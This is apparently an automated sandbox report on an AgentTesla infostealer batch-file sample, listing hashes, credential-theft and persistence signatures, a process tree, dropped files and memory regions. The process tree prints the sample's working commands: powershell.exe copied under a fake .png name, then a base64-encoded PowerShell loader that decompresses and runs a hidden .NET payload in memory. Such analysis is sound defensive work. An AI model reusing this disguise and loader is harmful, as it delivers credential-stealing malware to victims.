Analysis

  • max time kernel
    156s
  • max time network
    265s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2023 14:26

General

  • Target

    1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat

  • Size

    1009KB

  • MD5

    27c302e3247d5a9f8fce50cfba636e22

  • SHA1

    7939d397dba283814967080fb37913d9076dab49

  • SHA256

    1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

  • SHA512

    040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70

  • SSDEEP

    24576:hHOmVihj9V3HNS0B0dgIx4l0ivt/Ixdt+gnfpV6gXhtnLPv+yqV82DqdFUWvw:h6j3fpI57zPVqmTgj

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:4112
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
        2⤵
          PID:1648
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3584
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:2768
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
              3⤵
                PID:4648
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:2756
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat
                  3⤵
                    PID:1676
                  • C:\Users\Admin\AppData\Local\Temp\Iduou.png
                    C:\Users\Admin\AppData\Local\Temp\Iduou.png -win 1 -enc JABBAGIAcQB5AGwAYwBiAGYAcgBvACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEcAYwBxAHMAcwBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBiAHEAeQBsAGMAYgBmAHIAbwApADsAJABKAHQAdABjAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAYwBxAHMAcwBuAGQAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVQB2AGoAZABtAGcAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAHQAdABjAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAGwAbwBzAGUAKAApADsAJABKAHQAdABjAHAALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAGMAcQBzAHMAbgBkACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABWAG0AaABoAHEAZABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABQAHEAawBpAHkAbABpAGMAcgAgAD0AIAAkAFYAbQBoAGgAcQBkAHAALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAHUAZABxAHcAbgBzAGUAdAB4AG8AIAA9ACAAJABQAHEAawBpAHkAbABpAGMAcgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Drops file in Windows directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3760
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3760 -s 2796
                      4⤵
                      • Program crash
                      PID:2792
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3760 -ip 3760
                1⤵
                  PID:1184

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\Iduou.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat

                  Filesize

                  1009KB

                  MD5

                  27c302e3247d5a9f8fce50cfba636e22

                  SHA1

                  7939d397dba283814967080fb37913d9076dab49

                  SHA256

                  1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

                  SHA512

                  040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpbq35zu.rua.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • \??\c:\users\admin\appdata\local\temp\iduou.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • memory/3760-29-0x00000000033D0000-0x00000000033E0000-memory.dmp

                  Filesize

                  64KB

                • memory/3760-32-0x0000000007BB0000-0x0000000007C78000-memory.dmp

                  Filesize

                  800KB

                • memory/3760-13-0x0000000005A00000-0x0000000005A22000-memory.dmp

                  Filesize

                  136KB

                • memory/3760-14-0x0000000005AA0000-0x0000000005B06000-memory.dmp

                  Filesize

                  408KB

                • memory/3760-15-0x0000000005B80000-0x0000000005BE6000-memory.dmp

                  Filesize

                  408KB

                • memory/3760-11-0x00000000033D0000-0x00000000033E0000-memory.dmp

                  Filesize

                  64KB

                • memory/3760-21-0x00000000063A0000-0x00000000066F4000-memory.dmp

                  Filesize

                  3.3MB

                • memory/3760-26-0x00000000069F0000-0x0000000006A0E000-memory.dmp

                  Filesize

                  120KB

                • memory/3760-27-0x0000000006A10000-0x0000000006A5C000-memory.dmp

                  Filesize

                  304KB

                • memory/3760-10-0x0000000003460000-0x0000000003496000-memory.dmp

                  Filesize

                  216KB

                • memory/3760-9-0x00000000033D0000-0x00000000033E0000-memory.dmp

                  Filesize

                  64KB

                • memory/3760-30-0x0000000008230000-0x00000000088AA000-memory.dmp

                  Filesize

                  6.5MB

                • memory/3760-31-0x0000000006F20000-0x0000000006F3A000-memory.dmp

                  Filesize

                  104KB

                • memory/3760-12-0x0000000005C30000-0x0000000006258000-memory.dmp

                  Filesize

                  6.2MB

                • memory/3760-33-0x0000000007C80000-0x0000000007CFA000-memory.dmp

                  Filesize

                  488KB

                • memory/3760-34-0x0000000007E00000-0x0000000007E66000-memory.dmp

                  Filesize

                  408KB

                • memory/3760-36-0x0000000005710000-0x0000000005753000-memory.dmp

                  Filesize

                  268KB

                • memory/3760-37-0x0000000007FF0000-0x0000000008032000-memory.dmp

                  Filesize

                  264KB

                • memory/3760-38-0x00000000033D0000-0x00000000033E0000-memory.dmp

                  Filesize

                  64KB

                • memory/3760-39-0x00000000033D0000-0x00000000033E0000-memory.dmp

                  Filesize

                  64KB

                • memory/3760-40-0x0000000008E60000-0x0000000009404000-memory.dmp

                  Filesize

                  5.6MB

                • memory/3760-41-0x00000000746B0000-0x0000000074E60000-memory.dmp

                  Filesize

                  7.7MB

                • memory/3760-8-0x00000000746B0000-0x0000000074E60000-memory.dmp

                  Filesize

                  7.7MB

                • memory/3760-44-0x00000000033D0000-0x00000000033E0000-memory.dmp

                  Filesize

                  64KB

                • memory/3760-46-0x00000000746B0000-0x0000000074E60000-memory.dmp

                  Filesize

                  7.7MB